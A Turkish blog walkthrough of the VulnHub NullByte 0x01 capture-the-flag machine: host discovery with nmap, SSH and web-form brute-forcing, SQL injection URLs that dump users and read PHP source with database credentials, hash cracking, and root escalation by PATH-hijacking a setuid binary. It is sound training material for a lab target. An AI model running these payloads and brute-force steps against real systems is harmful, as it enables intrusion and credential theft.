VulnHub – NullByte-0x01 CTF Çözümü

Merhaba

Bildiğiniz üzere vulhub.com sitesi, community tarafından hazırlanan vulnerable yani zafiyet içeren sanal makinaların ve sistemlerin yayınlandığı bir platform. Bu platform farklı senaryoların bulunduğu, sonucunda bir bayrağın elde edildiği ufak CTF’lerin imajının paylaşıldığı bir yerdir. https://www.vulnhub.com

Son zamanlarda özellikle web uygulamalarına yoğunlaşmak zorunda kaldığım bir güvenlik testi sürecinden geçtiğim için özellikle network ve host bazlı saldırılar açısından paslanmamak adına vulnhost.com’a giriş en son yayınlanmış senaryolardan birisi olan NullByte 0x01’i indirmeye karar verdim. Yazının geri kalan bölümlerinde bu level’i geçmek ve /root/flag.txt dosyasına ulaşmak için yaptığım işlemleri adım adım anlatıyor olacağım. Sizde kendinizi denemek istiyorsanız https://www.vulnhub.com/entry/nullbyte-1,126/ adresinden sanal makina imajını indirebilirsiniz.

Kurulum ve Hedef Tespiti

Kurulumun yapılması son derece kolay bir operasyon. OVA formatında indireceğiniz NullByte0x01 doğrudan VirtualBox ve Vmware ile çalıştırılabilir. Saldırgan olarak kullanacağımız Kali ile NullByte makinalarının ikisinide NAT mod’a alarak birbirleri ile network bazlı konuşabilir hale getiriyoruz.

Nullbyte imajının network’te tespitinin yapılabilmesi adına öncelikle NAT network’ünde ki canlı makinaların tespiti yapılmalıdır.

root@kali:~# nmap -sn 10.0.0.1/24

Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-16 04:06 EDT
Nmap scan report for 10.0.0.1
Host is up (0.00021s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.0.0.2
Host is up (0.000089s latency).
MAC Address: 00:50:56:F7:FE:5D (VMware)
Nmap scan report for 10.0.0.137
Host is up (0.00042s latency).
MAC Address: 00:0C:29:20:A8:F4 (VMware)
Nmap scan report for 10.0.0.254
Host is up (0.000090s latency).
MAC Address: 00:50:56:E1:F4:63 (VMware)
Nmap scan report for 10.0.0.136
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 3.68 seconds

Nmap’in -sn parametresi, herhangi bir port taraması gerçekleştirmeden sadece hedef adresin canlı olup olmadığını kontrol etmektedir. Bu işlemide Ping Scan adı verilen tarama tekniği ile gerçekleştirmektedir.

Bu listeyi biraz daha sade hale getirmek istersek;

root@kali:~# nmap -sn 10.0.0.1/24|grep 'for'|awk {'print $5'}
10.0.0.1
10.0.0.2
10.0.0.137
10.0.0.254
10.0.0.136

Tüm sistem sanal ortamda çalıştığı için 10.0.0.1, 10.0.0.2 ve 10.0.0.254 önceden rezerve edilmiş adreslerdir. 10.0.0.136 ise taramayı gerçekleştirdiğimiz Kali makinamızın IP adresi. Geriye 10.0.0.137 kaldığına göre NullByte imajın 10.0.0.137 adresinde hizmet verdiği anlaşılmaktadır. Hedefin ipadresini kısa yoldan Vmware sisteminden de elde edebileceğimiz gibi, biraz ısınma olsun diye uzun yolu tercih ettiğimi belirtmek isterim.

Nmap, nmap ve yine nmap

İlk aşama olarak hedefte aktif olarak çalışmakta olan TCP servislerini ve versiyon bilgilerini tespit etmek amacıyla aşağıdaki tarama gerçekleştirilir.

root@kali:~# nmap -sV 10.0.0.137 -p -

Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-16 04:16 EDT
Nmap scan report for 10.0.0.137
Host is up (0.00016s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
53987/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:20:A8:F4 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Görüldüğü üzere 80 ve 777 portlarında Apache ve SSH servisi çalışmakta. Bu noktada 2 adet çalışma gerçekleştirilebilir. Öncelikle SSH servisine brute-force çalışması yapacağız. Bu çalışmayı gerçekleştirdiğim araç hakkında bilgilere https://www.mehmetince.net/beleth-multi-threat-sozluk-saldirilari-ile-ssh-hacking-performansi/ adresinden ulaşabilirsiniz.

root@kali:~/Beleth# ./beleth -l 15 -t 10.0.0.137 -p 777  -u root -w /usr/share/wordlists/sqlmap.txt 
┌────────────────────────────────────────┐
│                 Beleth                 │
│          www.chokepoint.net            │
└────────────────────────────────────────┘
[*] Read 1202867 passwords from file.
[*] Starting task manager
[*] Spawning 15 threads
[*] Starting attack on root@10.0.0.137:777

1-2 saat hala bir sonuç elde edilemediği için başka yollar üzerinden saldırımıza devam etme kararı aldım. BU sefer 80. port’un daki apache servisi ise dirbuster çalıştırmaya karar verdim. Dirbuster sadece ve sadece 10.0.0.137/phpmyadmin adresinde kurulu son sürüm bir phpmyadmin tespit etti. Mysql için password brute-force işlemi gerçekleştirmek için BurpSuite Pro aracını kullandım. Yaklaşık 50.000 password denemesinden sonra hedef sistemde “weak password” kategorisinde herhangi bir zafiyetin olmadığına ikna oldum.

http://10.0.0.137/ adresini ziyaret ettiğimizde karşımıza aşağıdaki resim çıkmakta.
main

Bu resme exiftool ile baktığımızda aşağıda ki sonuç çıkmakta.

root@kali:~/Desktop# exiftool main.gif 
ExifTool Version Number         : 8.60
File Name                       : main.gif
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2015:08:01 12:39:30-04:00
File Permissions                : rw-r--r--
File Type                       : GIF
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302

Gördüğünüz üzere http://10.0.0.137/kzMb5nVYJw/ adresine referansta bulunan bir açıklama bilgisi bulunmaktadır.

Deneme, Yanılma

http://10.0.0.137/kzMb5nVYJw/ adresinde karşımıza çıkan form’un HTML kaynaklarına baktığımızda aşağıdaki bilgiler gözükmektedir.

<center>
<form method="post" action="index.php">
Key:<br>
<input type="password" name="key">
</form> 
</center>
<!-- this form isn't connected to mysql, password ain't that complex --!>

Görünen o ki, burada herhangi bir SQLi saldırısı gerçekleştirilmeyecek. Tekrardan Burp Suite Pro’yu kullanabiliriz ama bu sefer sırf egzersiz olsun diye hydra ile bu testi gerçekleştireceğim.

root@kali:~/Desktop# hydra 10.0.0.137 http-form-post "/kzMb5nVYJw/index.php:user=^USER^&key=^PASS^:invalid key" -P /usr/share/wordlists/rockyou.txt -l root

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-16 07:37:40

[DATA] max 16 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~14008 tries per task
[DATA] attacking service http-post-form on port 80




[80][http-post-form] host: 10.0.0.137   login: root   password: elite
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-08-16 07:38:17

Bizim form alanımızda sadece key bulunmakta. Hydra ile username & password ikilisi denemek için dizayn edilmiş. Bu nedenle her ne kadar gereskzide olsa ^USER^ adında bir parametre daha tanımladım. Bu parametreye ise root adında bir bilgi atatım. Bu işlem tamamiyle işlevsiz olup HYDRA’nın düzgünce çalışabilmesi için gerçekleştirildi. key=^PASS^ise asıl deneme yanılma işlemini gerçekleştireceğimiz alan olarak seçildi. Sonuç olarak elite bu form alanını geçen bilgi oldu..!

SQLi

Form alanına elite bilgisini giriş yaptıktan sonra karşımıza basit bir başka form çıktı ve bize user search imkanı sundu.

http://10.0.0.137/kzMb5nVYJw/420search.php?usrtosearch=root123

Örneğin yukarıda ki gibi bir talep veri tabanında root123 verisini aramakta. Basit bir login TRUE sorgusu ile ilgili tabloda ki tüm kayıtlara aşağıdaki şekilde erişilebilir.

http://10.0.0.137/kzMb5nVYJw/420search.php?usrtosearch=root123%22%20or%201=1%20%23

EMP ID :1
EMP NAME : ramses
EMP POSITION :
--------------------------------
EMP ID :2
EMP NAME : isis
EMP POSITION : employee
--------------------------------
Fetched data successfully

Sizler buradan sonra sqlmap ile devam edebilirsiniz. Ben yine egzersiz olsun diye manuel devam edeceğim.

// Mevcut user
http://10.0.0.137/kzMb5nVYJw/420search.php?usrtosearch=FOO%22%20union%20select%20user%28%29,2,3%20%23

root@localhost
EMP NAME : 2
EMP POSITION : 3
--------------------------------
Fetched data successfully 

// Pass kolon
http://10.0.0.137/kzMb5nVYJw/420search.php?usrtosearch=FOO" union select pass,2,3 FROM users %23

EMP ID :YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE
EMP NAME : 2
EMP POSITION : 3
--------------------------------
EMP ID :--not allowed--
EMP NAME : 2
EMP POSITION : 3
--------------------------------
Fetched data successfully

Mevcut user root olduğu için doğrudan hedef sistemde INTO OUTFILE yapabilme imkanımız bulunmakta. Eğer web folder’ının izinleri yeterli düzeyde olsaydı bu işlemi yaparak doğrudan php backdoor upload gerçekleştirebilirdik. Öteki yandan mysql root user’ı ile bağlantı gerçekleştirildiği için root user’ın hash’lerini elde edip password crackin yapabiliriz veya doğrudan 420search.php dosyasının kaynak kodlarını okuyup veritabanı bağlantı bilgilerini elde edebiliriz. Ben load_file yöntemini tercih edeceğim.

// Load File
http://10.0.0.137/kzMb5nVYJw/420search.php?usrtosearch=FOO" union select load_file('/var/www/html/kzMb5nVYJw/420search.php'),2,3 %23


EMP ID :<?php
$word = $_GET["usrtosearch"];

$dbhost = 'localhost:3036';
$dbuser = 'root';
$dbpass = 'sunnyvale';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
  die('Could not connect: ' . mysql_error());
}
$sql = 'SELECT id, user, position FROM users WHERE user LIKE "%'.$word.'%" ';

mysql_select_db('seth');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
  die('Could not get data: ' . mysql_error());
}
while($row = mysql_fetch_array($retval, MYSQL_ASSOC))
{
    echo "EMP ID :{$row['id']}  <br> ".
         "EMP NAME : {$row['user']} <br> ".
         "EMP POSITION : {$row['position']} <br> ".
         "--------------------------------<br>";
} 
echo "Fetched data successfully\n";
mysql_close($conn);

?>
  <br> EMP NAME : 2 <br> EMP POSITION : 3 <br> --------------------------------<br>Fetched data successfully

Veri tabanı bilgilerini elde ettik..! root:sunnyvale . Veri tabanına http://10.0.0.137/phpmyadmin üzerinden erişip tabloları gezdiğimizde şu bilgi dikkatimizi çekiyor.

ramses : YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE

Burada ki data adeta BASE64 gibi duruyor olsada sonda bir adet = eksik. Bunu ekleyerek decode ettiğimizde ise  c6d6bd7ebf806f43c76acc3681703b81 hash bilgisi karşımıza çıkmakta.Bu hash değerinin rainbow table ile kırılması son derece kolay.

c6d6bd7ebf806f43c76acc3681703b81 = omega

Bu bilgiler ile sunucuya SSH üzerinden erişebiliriz. Bu noktadan sonra yerel yetki yükseltme saldırıları ile /root/ dizini altına erişim gerçekleştirmeye çalışacaüız.

root@kali:~/Desktop# ssh -l ramses 10.0.0.137 -p 777
ramses@10.0.0.137's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$

History

Bir alışkanlık olarak her hedef sisteme erişim sağladığım da ilk yaptığım iş mevcut kullanıcının komut geçmişini okumaktır.

ramses@NullByte:~$ cat .bash_history 
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch 
clear
sudo -s
cd /
ls
exit

Görüldüğü üzere /var/www/backup dizini altında bir adet ls komutu ardından ise procwatch adın da bir programın çalıştırılma işlemi gerçekleştirmiştir.

ramses@NullByte:~$ cd /var/www/backup/
ramses@NullByte:/var/www/backup$ ls -al
total 20
drwxrwxrwx 2 root root 4096 Aug  2 01:36 .
drwxr-xr-x 4 root root 4096 Aug  2 01:22 ..
-rwsr-xr-x 1 root root 4932 Aug  2 01:29 procwatch
-rw-r--r-- 1 root root   28 Aug  2 01:36 readme.txt
ramses@NullByte:/var/www/backup$ 
ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
 9044 pts/0    00:00:00 procwatch
 9045 pts/0    00:00:00 sh
 9046 pts/0    00:00:00 ps

Bu çalıştırılabilir dosyayı yerel bilgisayarımız olan kali’ye indirerek analiz edeceğiz. Scp komutu ile dosyayı yerel bilgisayarınıza indirebilirsiniz.

// SCP
root@kali:~/Desktop# scp -P 777 ramses@10.0.0.137:/var/www/backup/procwatch /root/Desktop/

Bu dosyayı gdb ile açıp main fonksiyonunu analiz ettiğimizde system fonksiyonunu çağırdığını görebilirsiniz.

root@kali:~/Desktop# gdb -q procwatch
Reading symbols from /root/Desktop/procwatch...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048409
(gdb) run
Starting program: /root/Desktop/procwatch 
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf77cc000

Breakpoint 1, 0x08048409 in main ()
(gdb) disassemble 
Dump of assembler code for function main:
   0x080483fb <+0>:	lea    0x4(%esp),%ecx
   0x080483ff <+4>:	and    $0xfffffff0,%esp
   0x08048402 <+7>:	pushl  -0x4(%ecx)
   0x08048405 <+10>:	push   %ebp
   0x08048406 <+11>:	mov    %esp,%ebp
   0x08048408 <+13>:	push   %ecx
=> 0x08048409 <+14>:	sub    $0x44,%esp
   0x0804840c <+17>:	lea    -0x3a(%ebp),%eax
   0x0804840f <+20>:	movw   $0x7370,(%eax)
   0x08048414 <+25>:	movb   $0x0,0x2(%eax)
   0x08048418 <+29>:	sub    $0xc,%esp
   0x0804841b <+32>:	lea    -0x3a(%ebp),%eax
   0x0804841e <+35>:	push   %eax
   0x0804841f <+36>:	call   0x80482d0 <system@plt>
   0x08048424 <+41>:	add    $0x10,%esp
   0x08048427 <+44>:	mov    $0x0,%eax
   0x0804842c <+49>:	mov    -0x4(%ebp),%ecx
   0x0804842f <+52>:	leave  
   0x08048430 <+53>:	lea    -0x4(%ecx),%esp
   0x08048433 <+56>:	ret    
End of assembler dump.
(gdb)

Stack’in durumuna baktığımızda ise henüz herhangi bir verinin olmadığını görebiliriz.

(gdb) x/4bs $esp
0xffa21574:	 "\220\025\242\377\b\026\242\377F\336e\367@\204\004\b"
0xffa21585:	 ""
0xffa21586:	 ""
0xffa21587:	 ""

Şimdi system fonksiyonu çağrısı öncesinde ki ASM kodlarına bakalım. 0x0804841e adresinde yani +35. satırda eax değerinin stack’e yüklendiğini görebilirsiniz. Bir sonraki komutla da system fonksiyonu çağırılmaktadır. Tam o ana break koyup stack’in durumuna bakalım. Böylece system fonksiyonuna gönderilen parametreye bakmış olacağız.

(gdb) break system
Breakpoint 1 at 0x80482d0
(gdb) run
Starting program: /root/Desktop/procwatch 
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf76e2000

Breakpoint 1, 0xf7598e20 in system () from /lib32/libc.so.6
(gdb) x/4bs
Argument required (starting display address).
(gdb) x/4bs $esp
0xff92964c:	 "$\204\004\bn\226\222\377\206\226\222\377\220\226\222\377"
0xff92965d:	 "\367]\367\206\226\222\377\325\305X\367\207\226\222\377\001"
0xff92966e:	 "ps"
0xff929671:	 ""

prowatch uygulamasını ilk çalıştırdığımız andan beri aklımda olan “Bu ps aux çıktısına benziyor..” düşüncesi doğrulanmış oldu. Basit anlamda system(“ps”); gibi bir C kodunun olduğunu görmüş olduk. Bu linux sistemlerde bir güvenlik açığına sebeb olmaktadır çünkü ps komutuna soft-link oluşturarak aslında istediğimiz linux komutunu çalıştırabilir olacağız. Şöyle ki;

Eğer herhangi bir programlama dili ile system fonksiyonunu kullanarak terminal komutu çağırırsanız, bu komut PATH global değişkeninde tanımlanan dizinlerin içerisinde aranacaktır.

ramses@NullByte:/var/www/backup$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Yani direk id komutu çağırılırsa sırasıyla şu kombinasyonlara bakılacaktır.

  • /usr/local/bin/id
  • /usr/bin/id

gibi.. Eğer biz bu global PATH değişkenine “İlk önce bulunduğum bu dizinine bak.” anlamına gelen .: eklersek öncelikle bulunduğumuz dizininde ki id komutunun varlığına bakılacaktır.

ramses@NullByte:~$ cd /var/www/backup/

ramses@NullByte:/var/www/backup$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

ramses@NullByte:/var/www/backup$ export PATH=.:$PATH

ramses@NullByte:/var/www/backup$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ 

Güzel. Program tam dizin yazmak yerine doğrudan komutun kendisini yazdığı için bulunduğumuz dizin altında ki ps komutunu çağırabilir olacağız. Bunun için öncelikle mevcut dizin altına işimize yarayacak ps komutunun linkini oluşturalım.

ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ ls -al ps
lrwxrwxrwx 1 ramses ramses 9 Aug 17 00:30 ps -> /bin/sh
ramses@NullByte:/var/www/backup$

Böylece system(“ps”) komutu aslında bulunduğumuz dizin altında ki ps komutunu çağırıyor olacaktır ki oda doğrudan /bin/sh’e linklenmiş durumdadır..!

ramses@NullByte:/var/www/backup$ ./procwatch 
# id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)
# ls /root
proof.txt

# cat /root/proof.txt
adf11c7a9e6523e630aaf3b9b7acb51d

It seems that you have pwned the box, congrats. 
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com


USE THIS PGP PUBLIC KEY

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0

mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----